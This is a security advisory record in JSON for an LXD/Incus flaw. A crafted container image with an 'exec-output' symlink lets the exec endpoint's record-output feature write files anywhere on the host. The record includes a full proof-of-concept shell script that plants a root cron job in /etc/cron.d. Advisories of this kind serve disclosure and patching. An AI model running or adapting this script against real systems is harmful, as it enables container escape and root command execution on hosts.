{"id":"GHSA-9j25-mm2h-2f76","summary":"LXD has arbitrary file write on host via `exec-output` symlink in crafted image","details":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nThe `record-output` parameter of the `/instances/$name/exec` endpoint\nstores the output of the command in the `exec-output` directory of the\ninstance. If `exec-output` is a symlink, file named `exec_UUID.stdout`\nand `exec_UUID.stderr` can be written to an arbitrary location where\nthe `.stdout` file will contain arbitrary content. This behavior can be\nabused for arbitrary command execution.\n\n\n### Details\n\nWhen an image is unpacked, top-level symlinks are extracted as is;\nallowing for `exec-output` to be placed on disk. In `instance_exec.go`,\n`os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows\nthe `exec-output` symlink.\n\n\n### PoC\n\nBelow, we place the `exec_UUID.stdout` file in `/etc/cron.d` on\nthe host for arbitrary command execution.\n\n```\n#!/bin/sh\n# usage: $0 existing-imagefp\nset -eu\n\nbasefp=\"${1}\"\n\ndie() {\n        printf '%s' \"${@}\" \u003e&2\n        exit 1\n}\n\ncommand -v curl \u003e/dev/null 2\u003e&1 || die 'error: curl not found\\n'\ncommand -v python3 \u003e/dev/null 2\u003e&1 || die 'error: python3 not found\\n'\n\ntmpdir=$(mktemp -d)\ncleanup() {\n        rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\n\n# insert exec-output symlink\n\nincus image export \"${basefp}\" \"${tmpdir}/img\"\n\nmkdir \"${tmpdir}/repack\"\ncd \"${tmpdir}/repack\"\n\nxz -cd \"${tmpdir}/img\" | tar -f- -vx\n\nrm -rf exec-output\nln -s /etc/cron.d exec-output\n\ntar -f- -c * | gzip -c9 \u003e\"${tmpdir}/img\"\n\ncd - \u003e/dev/null\nincus image import \"${tmpdir}\"/img* --alias afw-exec-output\n\n\n# Launch container, exec with record-output via REST API\nincus launch afw-exec-output afw-exec-output\nincus wait afw-exec-output ip\n\nOP=$(curl -s --unix-socket /var/lib/incus/unix.socket \\\n  -X POST -H 'Content-Type: application/json' \\\n  -d '{\"command\":[\"/bin/sh\",\"-c\",\"echo * * * * * root id'\"'\u003e'\"'/afw-exec-output\"],\"record-output\":true}' \\\n  \"lxd/1.0/instances/afw-exec-output/exec\" | python3 -c \"import sys,json;print(json.load(sys.stdin)['operation'])\")\n\ncurl -s --unix-socket /var/lib/incus/unix.socket \"$OP/wait?timeout=30\" \u003e/dev/null\n\n#find /etc/cron.d/exec_* -exec cat {} \\;\n```\n\n### Impact\n\nConstrained file creation in an arbitrary directory on the host via\nvia an unsanitized symlink; possibly leading to command execution.","modified":"2026-11-06T19:00:05.354495620Z","published":"2026-11-06T18:45:51Z","related":["CVE-2026-48750"],"database_specific":{"cwe_ids":["CWE-73"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-11-06T18:45:51Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/canonical/lxd/security/advisories/GHSA-9j25-mm2h-2f76"},{"type":"WEB","url":"https://github.com/lxc/incus/security/advisories/GHSA-73hr-m85f-64v9"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48750"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/124f901006400f634d54d908911c9ea93bae9a70"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/254b85c9301397e25304116b63da9154093199da"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/4cd63344f8a523acf39fdc02a80fd64b2e3b584f"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/937b761393af48fe4f5ff7e610ebfc1c9144e953"},{"type":"WEB","url":"https://github.com/canonical/lxd/commit/bb0f2521a59edacff2a0cb2e9532fdfbe68cf764"},{"type":"PACKAGE","url":"https://github.com/canonical/lxd"},{"type":"WEB","url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5"},{"type":"WEB","url":"https://manpages.debian.org/bookworm/cron/cron.8.en.html"}],"affected":[{"package":{"name":"github.com/canonical/lxd","ecosystem":"Go","purl":"pkg:golang/github.com/canonical/lxd"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.0.0-20260626085134-124f90100640"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-9j25-mm2h-2f76/GHSA-9j25-mm2h-2f76.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"}]}